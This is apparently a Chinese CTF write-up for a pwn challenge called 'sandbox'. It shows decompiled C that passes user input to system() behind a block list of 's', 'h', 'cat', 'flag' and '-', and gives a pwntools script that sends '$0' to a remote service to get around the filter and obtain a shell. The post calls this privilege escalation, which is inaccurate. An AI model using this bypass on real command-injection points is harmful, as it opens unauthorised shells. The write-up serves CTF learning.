sandbox($0)

题目:

__int64 box()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input your command");
  puts("No sh,no cat,no flag.");
  system("ls");
  read(0, buf, 0x20uLL);
  if ( strchr(buf, 115) || strchr(buf, 104) || strstr(buf, "cat") || strstr(buf, "flag") || strchr(buf, 45) )
  {
    puts("Illegal command.");
    exit(0);
  }
  system(buf);
  return 0LL;
}

思路:
使用$0提权,因为在Linux Shell环境中,$0 是一个 预定义的特殊变量,用于表示 当前脚本或Shell的名称。k
可以使用$0替换sh
script:

from pwn import *

r = remote("1.95.36.136", 2103)
r.sendlineafter(b"flag.\n", b"$0")
r.interactive()

posted @ 2025-05-08 21:08  lethe311  阅读(4)  评论(0)    收藏  举报